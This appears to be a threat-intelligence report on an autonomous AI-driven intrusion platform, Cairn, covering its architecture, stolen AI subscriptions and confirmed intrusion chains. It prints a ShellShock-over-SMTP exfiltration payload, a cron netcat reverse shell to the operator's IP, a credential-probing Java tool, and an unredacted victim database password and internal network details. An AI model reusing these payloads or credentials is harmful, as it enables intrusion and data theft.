A Chinese-speaking threat actor has built and deployed a custom autonomous AI intrusion platform named Cairn, which selects targets, generates exploit chains, tracks failure states across sessions in a SQLite fact-graph, and iterates on blocked attack paths without sustained human involvement per session. Discovery resulted from routine investigation of a suspicious APAC-hosted VPS that was found serving an open staging directory on a non-standard port. The directory contained 150-plus active campaign artefacts including exploit tools, Chinese-language AI session logs, victim enumeration data, credential extracts, and platform management scripts.
Evidence recovered from these artefacts reveals a campaign active from 24 September 2026 through at least 13 October 2026, targeting a minimum of 85 organisations across the United States, Taiwan, Europe, and the broader Asia-Pacific region. Four distinct victim environments were positively identified from recovered artefacts. A fifth was targeted but could not be identified. Confirmed stolen material includes payment card stream data, customer plaintext credentials, Magento admin tokens, GCP service account private keys, MSSQL database credentials, and detailed internal network topology of a Taiwanese enterprise messaging provider including the contents of a 2.35 GB mail relay Mailbox and a cluster of 10 SQL Server production nodes.
The platform consumed 229,828 AI-dispatched attack sessions across 13 days, powered by two stolen Cline Pass subscriptions (combined ~$9,989 credit remaining at discovery) routing DeepSeek v4.1-flash through a pirated account rotation service. This report provides full technical analysis of the Cairn platform architecture, detailed walk-throughs of three confirmed intrusion chains sourced directly from recovered logs, an operator OPSEC assessment, and a comparison with the concurrent ARTEX campaign disclosed by Zscaler ThreatLabz.
Distinct target projects in operator database, active 24 Sep – 6 Oct 2026
Dispatcher log lines over 13 days; average 17,679 per day at campaign peak (25 Sep)
Taiwanese bulk SMS/messaging infrastructure; full shell as vpopmail, 4 failed privilege escalation rounds
Credential categories: payment cards, customer creds, Magento tokens, GCP SA keys, MSSQL creds, internal network topology
Two stolen Cline Pass subscriptions funding DeepSeek API; operator maintained key rotation during active campaign
4,813 MB attack evidence + 1,340 MB AI session records in operator containers, labelled “do not delete”
oritera/cairn-worker-container pulled. Bootstrap phase: 98 sessions.fix_switcher.py patching /opt/cline-pass-switcher/server.js to handle header-safe account names.*/5 * * * * /bin/sh /data/pwn.sh confirmed. Redis AOF file at 174,520,757 bytes (174 MB). Environment variable sweep reveals 35+ tenant service addresses and names.Cairn is a fully custom autonomous penetration/intrusion platform. It is not a modified or weaponised version of any known open-source pentest framework. Its architecture separates concerns cleanly: a dispatcher process manages project scheduling and worker allocation; Docker containers provide per-victim isolation (one Kali Linux container per project); a local API server exposes the project and intent state to workers; an LLM proxy handles AI inference via stolen subscriptions; and per-session Chinese-language summaries create a persistent institutional memory that carries forward across the 128,000-token context window.
┌──────────────────────────────────────────────────────────────────────┐ │ CAIRN PLATFORM │ │ │ │ ┌───────────────┐ ┌──────────────────────────────────────┐ │ │ │ Dispatcher │ │ cairn.db (SQLite) │ │ │ │ /opt/cairn/ │──└─ projects | intents | facts │ │ │ │ dispatch.log │ │ workers | hints | intent_sources │ │ │ └───────┴───────┐ └──────────────────────────────────────┐ │ │ │ │ │ │ ┌─────────────────┐ ┌─────────────────────┐ │ │ └──└─ Cairn API │ │ LLM Proxy │ │ │ │ uvicorn :8000 │──└─ 127.0.0.1:3123 │ │ │ │ Basic auth │ │ ClinePass rotation │ │ │ └────────┴───────┐ │ DeepSeek v4.1-flash │ │ │ │ └─────────────────────┐ │ │ │ │ │ ┌─────────────────┴─────────────────────────────┐ │ │ │ │ │ │ │ ┌───────┬───────┐ ┌───────┬───────┐ ┌────────────────┐ │ │ │ pi-workbuddy │ │ pi-cline- │ │ Azure VM (remote)│ │ │ │ 9,394 tasks │ │ deepseek │ │ pulls via API │ │ │ │ Raspberry Pi │ │ 8,472 tasks│ │ 27K+ log hits │ │ │ └─────────────┐ └─────────────┐ └────────────────┐ │ │ │ │ Docker containers (1 per victim project): │ │ cairn-dispatch-proj_XXX /tmp/out (attack evidence, 4,813 MB total) │ │ cairn-chat-proj_XXX /tmp/cairn-pi (session records, 1,340 MB total) │ └────────────────────────────────────────────────────────────────────────┘
Each Cairn attack session follows a structured reasoning loop. The dispatcher reads the SQLite database to find projects with open intents and available workers, selects a worker, and issues the task. Inside the Docker container, the LLM receives the target’s fact-graph (graph.yaml), a goal statement, and a Chinese-language summary of all prior sessions. It selects the next intent (attack step), the container executes it, and the result is written back to the fact-graph. Sessions that cannot advance the graph are marked as failing; the dispatcher tries a different angle on the next cycle.
{
"log_total_lines": 229828, // individual dispatcher events across campaign
"first_day": "2026-09-24",
"last_day": "2026-10-06",
"dispatched_by_phase": {
"explore": 17768, // active exploit-phase attack dispatches
"bootstrap": 98 // initial target reconnaissance
},
"exec_by_phase": {
"explore_execute": 17762,
"explore_conclude": 16478, // AI summarises each session
"reason_execute": 15119, // AI selects next attack step
"bootstrap": 98,
"bootstrap_conclude": 65
},
"task_finished": {
"explore:failed": 9476, // failed attack steps (surface tested, blocked)
"reason:failed": 7948,
"bootstrap:failed": 13,
"explore:rejected": 3
},
"completed_events": 51, // successful objective completions
"top_projects_by_dispatch": {
"proj_035": 2049, // highest-effort target (unidentified)
"proj_012": 1382,
"proj_033": 1196,
"proj_074": 972,
"proj_062": 964,
"proj_008": 615, // Internet conglomerate / digital health
"proj_001": 550 // consumer e-commerce
}
}
Every session concludes with a structured Chinese-language summary written by the LLM, fed back into the next session as context. These notes track confirmed facts, blocked paths, and recommended next steps with clinical precision. The following is a translated excerpt from the attack against a consumer e-commerce Magento target, documenting the AI reasoning after a failed Microsoft OAuth2 credential exploitation attempt:
Original (Simplified Chinese):
邮件通道方向结论：目标 [REDACTED] 的 Microsoft OAuth2 敏感凭据
为 Magento Encryptor 加密密文，在无 FILE 权限、无 crypt key 的条件下
无法解密/复用，『明文凭据→兑换 access_token→接管 [REDACTED] 邮箱
→拦截管理员口令重置』链被彻底阻断
Translation:
Mail channel direction conclusion: Target [REDACTED] Microsoft OAuth2 sensitive
credentials are Magento Encryptor ciphertext. Without FILE permissions or the
crypt key, decryption is impossible. The chain:
[plaintext credential]
→ exchange access_token
→ take over [REDACTED] mailbox
→ intercept administrator password reset
is completely blocked. This attack path is abandoned.
This represents a fundamental shift in adversarial tradecraft. Rather than a human analyst reviewing failure logs and manually pivoting, the AI maintains a structured reasoning chain across sessions and decides autonomously when to abandon a path and which alternative to attempt next.
The operator does not pay for LLM inference directly. They use a pirated version of ClinePass, a commercial Cline AI subscription service, via a locally deployed account rotation service at 127.0.0.1:3123. The rotation service is open-source software that was patched in-place by the operator (via fix_switcher.py) to correct a header-encoding bug that was causing account identification failures.
Key 1:
label: "ClinePass 订阅 (钉死DeepSeek官方)"
[Translation: "ClinePass subscription (locked to DeepSeek official)"]
status: "exhausted" (5-hour rate limit hit during peak campaign)
balance: $4,989.38 remaining
userId: usr-01M399PRPE49Q9Z8R513CSYGT7
plan: Cline Pass (Monthly), expires 2026-10-24
weekly: 80% used
Key 2 (backup):
label: "cline"
status: "valid" (standby)
balance: $5,000.00 remaining (15% monthly used)
userId: usr-01M39VDXTGSNJRC8Z6CGPKFSWP
plan: Cline Pass (Monthly), expires 2026-10-24
Keys 3-4:
provider: CommandCode (api.commandcode.ai)
label: "CommandCode 备用号1/2" [Backup accounts 1/2]
status: valid, inactive
balances: $46.97 and $64.51 monthly credit
{
"providers": {
"cline": {
"baseUrl": "http://127.0.0.1:3123/v1",
"api": "openai-completions",
"models": [
{
"id": "cline-pass/deepseek-v4.1-flash",
"name": "ClinePass DeepSeek",
"contextWindow": 128000,
"maxTokens": 8192
}
]
}
}
}
The platform includes production-grade operational tooling that is evidence of active, iterative development. The opening comment of cairn_guard.sh explains its origin: the dispatcher previously grew to 12 GB in memory on a 16 GB host, filled swap, made SSH unresponsive, and was killed by the kernel’s OOM killer. The guard was written to prevent recurrence.
SOFT_LIMIT_MB=2500 # warn threshold
HARD_LIMIT_MB=6000 # hard restart ceiling
active_leases() {
python3 - <<'PY'
import sqlite3, os
path = os.path.expanduser("~/.local/share/cairn/cairn.db")
conn = sqlite3.connect(f"file:{path}?mode=ro", uri=True)
cur = conn.cursor()
# count intents currently held by a worker (attack steps in progress)
total = cur.execute(
"select count(*) from intents "
"where to_fact_id is null and worker is not null"
).fetchone()[0]
# count projects held in reason phase
total += cur.execute(
"select count(*) from projects where reason_worker is not null"
).fetchone()[0]
print(total)
PY
}
# If memory is high but tasks are in-flight, defer restart until they complete
if [ "$AVAIL_MB" -gt "$CRITICAL_AVAILABLE_MB" ] && \
[ "$RSS_MB" -lt "$HARD_LIMIT_MB" ] && [ "$LEASES" -gt 0 ]; then
log "memory high (rss=${RSS_MB}MB avail=${AVAIL_MB}MB leases=$LEASES) \
- deferring restart until tasks finish"
exit 0
fi
The disk guard (cairn_disk_guard.sh, comments in Simplified Chinese) runs every 15 minutes and sweeps container writable layers, removing dictionary files, package downloads, and build caches while preserving attack evidence (/tmp/out) and session records (/tmp/cairn-pi). The classify.log confirms the operator’s own risk assessment of each category:
Category Risk label Total MB ----------------------------------------------- cairn-prompts Safe (clear) 290 work Undecided 19 out Attack evidence 4813 <-- "Do Not Delete" cairn-pi Session records 1340 <-- "Do Not Delete" wpscan Tool (redownload) 65 ----------------------------------------------- Must preserve (evidence + sessions): 6,153 MB
The uvicorn API server at port 8000 (Basic auth restricted) exposes the full platform state. Recovered from cairn_serve.log:
| Endpoint | Method | Purpose |
|---|---|---|
GET /projects | GET | List all victim projects |
GET /projects/{id} | GET | Project detail including current status |
GET /projects/{id}/export?format=yaml | GET | Full fact-graph export for a project |
POST /projects/{id}/intents/{intent_id}/heartbeat | POST | Worker keepalive while task is executing |
GET /api/provider/config | GET | Full key inventory with balances |
POST /api/proxy/v1/chat/completions | POST | Proxied LLM inference (OpenAI-compatible) |
POST /api/proxy/v1/responses | POST | CommandCode responses API (backup path) |
The Azure remote worker at [REDACTED] was confirmed making GET /projects/proj_014 requests to pull attack tasks. 27,000-plus log entries attributed to this IP in the preserved cairn_serve.log.
| Component | Description | Confidence |
|---|---|---|
| Primary C2 / Dispatcher | 202[.]61[.]139[.]15 — VPS on AS152194 (CTG Server Limited, Hong Kong-registered). Hosts Cairn dispatcher, API, LLM proxy, staging HTTP directory, and Metasploit handler. Hostname set to VM-Z4bLOIWlNO via network provisioning script. MAC: 22:4b:9b:00:07:31. | Confirmed |
| Secondary operator IP | 202[.]61[.]139[.]137 — Same /25 block (202[.]61[.]128[.]0/19). Confirmed active for campaign traffic against European target. Both IPs provisioned by the same network_script matching MAC 22:4b:9b:00:07:31. | Confirmed |
| Azure remote worker | 20[.]78[.]168[.]45 — Azure-hosted VM. 27,000-plus task-fetch events in cairn_serve.log, pulling attack tasks from Cairn API on port 8000. | Confirmed |
| Victim exfil callback (AWS) | 3[.]89[.]199[.]21 — AWS address. Single GET request to operator exfil listener on 29 Sep 2026 16:30:37 UTC, confirming outbound connectivity from Taiwanese victim infrastructure. | Confirmed |
| K8s reverse shell source (GCP) | 35[.]241[.]192[.]106 — GCP address. Connected to operator listener on port 4446 from the compromised Redis pod. Observed in cron_rev.txt and enum_redis.txt. | Confirmed |
| pi-workbuddy | Raspberry Pi; primary local attack worker. 9,394 tasks dispatched. Continued operating post-4 Oct 2026. | Confirmed |
| pi-cline-deepseek | Raspberry Pi; secondary local attack worker. 8,472 tasks. Silent from 4 Oct 2026 onwards. | Confirmed |
| Docker image | oritera/cairn-worker-container (Kali Linux base). One container per victim project. 14-plus image layers confirmed in pull log. | Confirmed |
if [ $(cat $device/address) = '22:4b:9b:00:07:31' ] ; then
# Configure primary C2 IP
echo "IPADDR=202.61.139.15" >> /etc/sysconfig/network-scripts/ifcfg-$device
echo "NETMASK=255.255.255.128" >> /etc/sysconfig/network-scripts/ifcfg-$device
# Configure secondary operator IP as alias
echo "IPADDR1=202.61.139.137" >> /etc/sysconfig/network-scripts/ifcfg-$device
echo "NETMASK1=255.255.255.128">> /etc/sysconfig/network-scripts/ifcfg-$device
echo "GATEWAY=202.61.139.1" >> /etc/sysconfig/network-scripts/ifcfg-$device
# CIDR block: 202.61.128.0/19 (AS152194, CTG Server Limited)
fi
The target SMTP server runs qmail with a vpopmail virtual mail system and an inline content filter (described in tool comments as an "Internal Firewall"). The filter inspects MAIL FROM and DATA body for the literal string () {, but does not inspect RCPT TO. When qmail-local processes a local delivery, it sets the recipient string into the RECIPIENT and LOCAL environment variables of a bash-3.2 subprocess. Bash 3.2 is vulnerable to CVE-2014-6271: a function definition in an environment variable causes the shell to execute the trailing command.
SHELLSHOCK_PREFIX = "() { :; }; "
def shellshock_rcpt(cmd, callback, domain="every8d.com"):
"""
Build the RCPT TO line carrying the shellshock payload.
Command output piped to curl -T - (chunked PUT upload).
Pipe used instead of redirect: '>' would terminate the RCPT address.
"""
return "RCPT TO:<%s%s|curl -s -T - http://%s/ev/%s@%s>" % (
SHELLSHOCK_PREFIX, cmd, callback, label_of(cmd), domain)
# Resulting SMTP transaction:
HELO relay.local
MAIL FROM:<a@b.com>
RCPT TO:<() { :; }; id|curl -s -T - http://[REDACTED]:8997/ev/id@every8d.com>
DATA
Subject: t
hi
.
QUIT
The attack was visible in its own victim’s process table. The recovered ps -ef output from 29 Sep 2026 20:58 UTC shows the qmail-local process with the complete ShellShock payload in its argument list, alongside the resulting curl and grep child processes exfiltrating MSSQL credential data in real time:
30533 8257 vpopmail S qmail-local bin/qmail-local -- every8d.com \
/home/vpopmail/domains/every8d.com \
every8d.com-() { :; }; grep -R -i 1433 /opt /usr/local \
/home/vpopmail /var/qmail|curl -s -T - \
http://[REDACTED]:8997/ev/grep_-R_-i_1433__opt...@every8d.com \
every8d.com a@b.com /tmp/Mailbox
30535 30534 vpopmail S grep grep -R -i 1433 /opt /usr/local ...
30536 30534 vpopmail S curl curl -s -T - http://[REDACTED]:8997/ev/...
The exfil listener log shows command output arriving as chunked HTTP PUT requests from the victim server. Each command is encoded in the URL path; the body carries the raw output. Timestamps confirm commands executed approximately 5-6 seconds apart, consistent with qmail’s local delivery processing time plus curl transfer time. The channel delivered megabytes of data including the full ARP table, route table, process list, mount points, and web.xml configuration file.
PUT /ev/grep_-n_-A_25_MODbUser__opt_web_xml from=('210.68.77.244', 41772)
body=
60: <param-name>MODbUser</param-name>
61- <param-value>eu</param-value>
...
64: <param-name>MODbPassword</param-name>
65- <param-value>mactytech</param-value>
...
53: <param-name>MODbPort</param-name>
<param-value>1433</param-value>
57: <param-name>MODbEncoding</param-name>
<param-value>Cp950</param-value> <-- Traditional Chinese encoding
The ARP cache and /etc/hosts from the compromised server exposed the victim’s full internal production network:
# MSSQL production database cluster (enterprise nodes): 10.225.30.10 entdb10p ENTDB10P 10.225.30.20 entdb20p ENTDB20P 10.225.30.30 entdb30p ENTDB30P 10.225.30.40 entdb40p ENTDB40P 10.225.30.50 entdb50p ENTDB50P 10.225.30.60 entdb60p ENTDB60P 10.225.30.70 entdb70p ENTDB70P 10.225.30.80 entdb80p ENTDB80P # Gateway database nodes: 10.225.30.15 gwdb15p/gwdb25p/gwdb35p (gw1/gw2/gw3) 10.225.30.45 gwdb45p (gw4) 10.225.30.55 gwdb55p (gw5) # Operational node: 10.225.30.110 opdb110p # Common: 192.168.2.160 comdb10p # NFS mounts observed: 192.168.1.71:/share -> /share71 192.168.1.190:/vol/share -> /mnt/190NAS2 (NFS storage, 2.4 GB backup visible) 192.168.1.8:/var -> /mnt/8var (Apache SVN repositories) 192.168.1.230:/data -> /mnt/data230
A Redis pod in a GCP-hosted Kubernetes cluster (GCP project name recoverable from DNS search suffix) was found with a persistent reverse shell installed as a root crontab entry. The attack predated discovery by at least several weeks; the pod was created 24 September 2026, the same day the Cairn campaign began.
@@@ id @@@ uid=0(root) gid=0(root) groups=0(root) @@@ hostname @@@ [REDACTED pod name] Linux [REDACTED] 6.12.94+ #1 SMP Wed Aug 19 07:48:21 UTC 2026 x86_64 @@@ /data @@@ -rw-r--r-- root 174,520,757 Sep 24 20:00 appendonly.aof <-- Redis AOF (174 MB) -rwxr-xr-x root 43 Sep 24 20:03 pwn.sh @@@ crontab @@@ */5 * * * * /bin/sh /data/pwn.sh # pwn.sh contents: #!/bin/sh nc 202.61.139.15 4446 -e /bin/sh
The pod’s environment variables exposed the internal service mesh for 35-plus named tenant deployments. Every service entry follows the pattern TENANTNAME_{REDIS|WEB|MEMCACHE}_SVC_PORT, giving the operator the complete internal Kubernetes service registry. Notable: several tenants have both Redis and Memcache sidecar deployments, and the Datadog cluster agent is visible on the service network (confirming a fully instrumented production environment, not a staging cluster).
# Tenant service addresses visible from compromised pod (10.26.x.x range): # 35+ tenant web services: 10.26.48.x – 10.26.63.x # 25+ tenant Redis services: 10.26.48.x – 10.26.63.x (port 6379) # 4 tenant Memcache services: 10.26.52.x, 10.26.53.x, 10.26.57.x, 10.26.58.x (port 11211) # Kubernetes API server: 10.26.48.1:443 # Cluster DNS: 10.26.48.10 (nameserver) # Datadog agent: 10.26.60.7:8125 (UDP) # Datadog cluster agent: 10.26.63.179:5005 # SigNoz OTEL agent: 10.26.57.176:4317/4318/8888/13133
After obtaining the SMTP-channel shell, the operator conducted a systematic multi-stage operation to extract database credentials and verify connectivity:
Stage 1 — Locate the config file. The operator’s webxml_dbscan.py script scanned 11 known Tomcat webapp paths for MODb parameter names, recovering credentials from /opt/web.xml. The script was designed for this exact server’s file layout, suggesting prior reconnaissance or targeted development.
paths = [
'/usr/local/sms/EUMPS_MOMO2/webapps/EUMPS/WEB-INF/web.xml',
'/usr/local/sms/EUMPS_N/webapps/EUMPS/WEB-INF/web.xml',
'/usr/local/sms/EUMPS_N/webapps/MMSG/WEB-INF/web.xml',
'/usr/local/sms/EUMPS_MOMO/webapps/EUMPS/WEB-INF/web.xml',
'/usr/local/sms/EUMPS_OTP/webapps/EUMPS/WEB-INF/web.xml',
'/usr/local/sms/UMPS-WEB/webapps/ROOT/WEB-INF/web.xml',
'/usr/local/sms/TRANSOUT/webapps/ROOT/WEB-INF/web.xml',
# ... 4 more
]
Stage 2 — Locate the JDBC driver. The ShellShock channel executed find /opt /usr/local -name JTurbo.jar -print. The driver was found in 31 locations across 12 Java service directories.
Stage 3 — Download MssqlProbe.java. The operator served MssqlProbe.java from their staging HTTP directory. The ShellShock channel used curl -s http://[REDACTED]:9000/MssqlProbe.java | tee /tmp/MssqlProbe.java to pull it to the victim server. The recovered ps output confirms the file arriving at 20:58:17 UTC as a PUT request body.
Stage 4 — Compile and test. The operator attempted to compile and run MssqlProbe.java using the JTurbo.jar driver found in Step 2. The javac compilation step shows in the SMTP log but the output body was empty, suggesting either successful silent compilation or a compilation failure handled gracefully by the shell exfil pipe.
import java.sql.*;
import java.util.*;
import java.io.*;
public class MssqlProbe {
static void out(String s) {
try { FileWriter f = new FileWriter("/tmp/sqlprobe.out", true);
f.write(s+"\n"); f.close(); } catch(Exception e){}
}
public static void main(String[] a) {
out("START host="+a[0]+" port="+a[1]+" db="+a[2]+" user="+a[3]);
try {
DriverManager.setLoginTimeout(8);
Class.forName("com.newatlanta.jturbo.driver.Driver");
String url = "jdbc:JTurbo://"+a[0]+":"+a[1]+"/"+a[2];
Properties p = new Properties();
p.setProperty("user", a[3]);
p.setProperty("password", a[4]);
Connection c = DriverManager.getConnection(url, p);
out("AUTH_SUCCESS "+c.getMetaData().getDatabaseProductName()
+" "+c.getMetaData().getDatabaseProductVersion());
c.close();
} catch(Throwable e) { out("AUTH_RESULT "+e.toString()); }
}
}
// Called as:
// java -cp .:JTurbo.jar MssqlProbe 192.168.1.235 1433 MO eu mactytech
The operator made four documented attempts to escalate from vpopmail to root. The victim server, despite running a Linux kernel from 2013 with over 40 known local privilege escalation CVEs, resisted all attempts.
| Round | Timestamp | Technique attempted | Why it failed |
|---|---|---|---|
| 1 | 18:29 UTC | sudo -n id, SUID binary enumeration, getcap sweep, writable cron paths | vpopmail has no sudo rights. Writable cron directories do not exist. No unusual SUID binaries beyond standard set (ping, su, passwd, mount, umount, fusermount). |
| 2 | 18:50 UTC | sudo -n id, sudo -V (confirmed 1.7.2p1) | Same. sudo read of /etc/sudoers returns empty (unreadable). sudo version 1.7.2p1 has known CVEs but operator did not attempt to exploit sudo itself. |
| 3 | 18:51–53 UTC | Re-test sudo, id, hostname, environment check | Repeated confirmation of same constraints. No new paths identified. |
| 4 | 18:54 UTC | Kernel CVE identification: sudo changelog grep, udev changelog grep, kernel changelog grep | Multiple CVEs identified (CVE-2013-1775, CVE-2013-1776, CVE-2009-1185, CVE-2013-0871). Operator chose not to deliver a compiled exploit binary via the limited SMTP/curl channel. Xen virtualisation adds complexity to local kernel exploits. |
| CVE | Description | Target Surface | Outcome |
|---|---|---|---|
CVE-2014-6271 | ShellShock — bash environment variable RCE | Taiwanese SMTP server (qmail, bash 3.2) | EXPLOITED — Confirmed RCE |
CVE-2026-75650 | “StyleSmuggler” — Magento email template injection | Consumer e-commerce Magento | In progress at discovery |
CVE-2026-53787 | Amasty Order Attributes <4.0.0 — unauth file upload | Consumer e-commerce Magento | Active testing at discovery |
CVE-2024-34102 | CosmicSting — Magento XXE/RCE (CVSS 9.8) | Consumer e-commerce Magento | Blocked by CDN WAF (406) |
CVE-2022-24086 | Magento template injection pre-auth RCE | Consumer e-commerce Magento | Blocked by CDN WAF |
CVE-2025-54236 | SessionReaper — Magento file upload | Consumer e-commerce Magento | Confirmed not applicable (patched) |
CVE-2026-6279 | Avada Builder — arbitrary file upload | WordPress (retail staging subdomain) | Patched on target |
CVE-2026-8732 | WP Google Maps Gold — unauth admin create | European outdoor equipment WordPress | Blocked by Wordfence 9.0.0 |
CVE-2024-3400 | Palo Alto GlobalProtect RCE | Internet conglomerate edge device | Attempted — no result |
CVE-2026-44277 | FortiAuthenticator pre-auth vulnerability | Internet conglomerate (6.6.4 identified) | Patched on target |
| Tool | Language | Purpose |
|---|---|---|
i051_shock_rce.py | Python 3 | Multi-mode ShellShock over SMTP: exec, shell, revshell, listen, auto (with hardcoded callback VPS SSH creds) |
MssqlProbe.java | Java | JDBC credential verifier using JTurbo 4.0 driver; writes to /tmp/sqlprobe.out |
webxml_dbscan.py | Python 2 | Extracts MODb MSSQL credentials from 11 predefined Tomcat WEB-INF/web.xml paths |
cred_scan.py | Python 2 | Generic credential scanner across /etc, /usr/local, /opt; regex for JDBC, SQL Server, password patterns |
config_cred_scan.py | Python 2 | Targeted config scanner for /usr/local/sms, /opt, /etc paths |
intra_scan.py | Python 2 | Port scanner; targets 192.168.1.x LAN and 10.225.30.x MSSQL range; ports: 22,25,80,111,443,1433,2049,3306,5432,8080,10050 |
intra_banner.py | Python 2 | Banner grabber for specific hosts on 192.168.1.x and 10.225.30.x; handles SSH/HTTP/HTTPS/port-1433 |
probe_db_hosts.py | Python 2 | Checks 192.168.1.227 and 192.168.1.235 on port 1433 |
enum_redis.sh | Bash | Post-compromise enumeration script (run via Metasploit shell); dumps id, hostname, filesystem, mounts, env vars, crontab |
dump_clinepass.py | Python 3 | Reads API key inventory from Cairn API at 127.0.0.1:8000/api/provider/config |
fix_switcher.py | Python 3 | Patches server.js in-place to fix header encoding bug in ClinePass rotation service |
save_cc_stream.py | Python 3 | Tests CommandCode API (api.commandcode.ai); saves SSE stream to /tmp/cc_raw_stream.txt |
sim_server.py | Python 3 | Serves cc_raw_stream.txt as SSE on port 39999 for local API stream replay testing |
live_tasks.py | Python 3 | Reads cairn.db for active intents; cross-references Docker container pids |
map_intents.sh | Bash | Maps active intents across proj_001, proj_006, proj_008, proj_009, proj_014 via docker exec |
cairn_guard.sh | Bash | Dispatcher memory guard; defers restart until no active leases; rate-limits restart frequency |
cairn_disk_guard.sh | Bash | Docker container disk sweep; preserves attack evidence and session records; clears dictionaries and package caches |
| Technique | Sub-technique | Evidence |
|---|---|---|
| T1190 | Exploit Public-Facing Application | ShellShock (CVE-2014-6271) via SMTP; multiple Magento CVEs attempted; SSRF via internal API endpoint |
| T1059.004 | Unix Shell | Bash payload via ShellShock; netcat reverse shell on K8s pod |
| T1071.001 | Web Protocols | Command output exfiltrated via HTTP PUT to operator listener; Cairn API over HTTP |
| T1041 | Exfiltration over C2 Channel | ShellShock channel uses curl -T - (chunked PUT) embedded in SMTP session |
| T1053.003 | Cron | Reverse shell installed as */5 cron on compromised K8s pod |
| T1552.001 | Credentials in Files | MSSQL credentials from /opt/web.xml; GCP SA keys from K8s env/filesystem |
| T1078 | Valid Accounts | Stolen Cline Pass subscriptions; Magento REST admin token; MSSQL user eu/mactytech |
| T1046 | Network Service Scanning | intra_scan.py against 192.168.1.x and 10.225.30.x; probe_db_hosts.py on port 1433 |
| T1016 | System Network Configuration Discovery | /proc/net/route, /proc/net/arp, ip addr, netstat enumeration via ShellShock channel |
| T1082 | System Information Discovery | id, uname, hostname, ps, mount, df via ShellShock; pod enumeration via reverse shell |
| T1057 | Process Discovery | ps -ef, ps -eo via ShellShock; process tree enumeration |
| T1083 | File and Directory Discovery | find commands for JTurbo.jar, web.xml, JSP/PHP files; ls across web directories |
| T1611 | Escape to Host | K8s pod running as root; access to /proc, /sys, service network; reverse shell established |
| T1496 | Resource Hijacking | Stolen ClinePass subscriptions (~$10K credit) funding AI inference |
| T1140 | Deobfuscate/Decode Files | Base64-encoded PowerShell listener in sakip_i061 archive |
| T1588.002 | Obtain Capabilities: Tool | JTurbo JDBC driver downloaded from victim server directories; MssqlProbe.java staged on operator HTTP server |
| T1102 | Web Service | Operator staging directory served via Python SimpleHTTP on non-standard port; Cairn API over HTTP |
| Attribute | Assessment |
|---|---|
| Language | Simplified Chinese throughout all internal artefacts: session notes, tool comments, platform labels, API key labels, disk audit output. No Cantonese or Traditional Chinese observed. Consistent across hundreds of documents produced over 13 days. |
| Hardware | Two Raspberry Pi devices (pi-workbuddy, pi-cline-deepseek) as primary attack workers. Consumer-grade hardware suggests individual or small team operator rather than nation-state infrastructure. |
| AI toolchain | DeepSeek v4.1-flash via pirated ClinePass subscriptions. Operator actively maintained and debugged the rotation service mid-campaign (fix_switcher.py committed with translation: "expected exactly 1 match, abort"). Deliberate preference: account label translates as "locked to DeepSeek official" indicating the operator actively avoided model substitution. |
| Targeting | Broad opportunistic scope: US e-commerce (Magento), US digital health and automotive finance, Taiwanese messaging infrastructure, UK/European multi-tenant SaaS, European outdoor equipment. No evident political or espionage motive; data stolen (payment cards, credentials, MSSQL access) aligns with financial motivation. |
| OPSEC failures | Open staging directory on non-standard port; hardcoded operator SSH credentials in exploit script; short-lived self-signed TLS certificates reusing predictable generation pattern; predictable ASN clustering. These failures enabled discovery but are common for financially motivated actors without state-level OPSEC discipline. |
| Known attribution | Does not match any publicly tracked group at time of writing. No shared TTPs, infrastructure, or tooling with known APT groups. Working name: UNC-CAIRN. |
On 14 October 2026, Zscaler ThreatLabz published analysis of a concurrent campaign using ARTEX, an open-source agentic penetration testing framework, against South Korean financial institutions. The temporal and technical overlap warrants structured comparison.
| Attribute | Operation CAIRN (UNC-CAIRN) | ARTEX Campaign (Zscaler) |
|---|---|---|
| Primary AI model | DeepSeek v4.1-flash | DeepSeek v4.1-flash (primary) + Zhipu AI GLM-5.3 + SpaceXAI Grok 4.6 |
| Campaign start | 24 September 2026 | Late September 2026 |
| Language | Simplified Chinese | Chinese-speaking (assessed) |
| Framework | Custom-built, not open-source | ARTEX (GitHub, developer Autumn-27; taken private post-disclosure) |
| Victim scope | 85+ targets, global, multi-sector | Multiple South Korean financial institutions |
| Data stolen | Payment cards, credentials, GCP keys, MSSQL creds | ~67,000 individuals’ PII (name, phone, income, loan limits) |
| Monetisation | Not documented in recovered artefacts | Operator used Claude Code sessions to seek advice on selling stolen PII via Korean-language Telegram channels |
| Platform sophistication | High (custom platform, production-grade tooling, iterative development) | Moderate (modified open-source framework) |
| OPSEC | Multiple failures (open directory, hardcoded creds) | Not assessed |
The most parsimonious explanation is that these are two separate Chinese-speaking actors who independently adopted agentic AI frameworks for intrusion campaigns in the same two-week window. The shared use of DeepSeek v4.1-flash and the near-identical campaign start dates are striking, but ARTEX is open-source and publicly available, while Cairn appears to be a fully custom platform with months of prior engineering. This points to parallel development by actors operating in the same underground ecosystem who independently concluded that AI-driven autonomous attack tooling was viable and cost-effective, rather than a single actor running two campaign branches.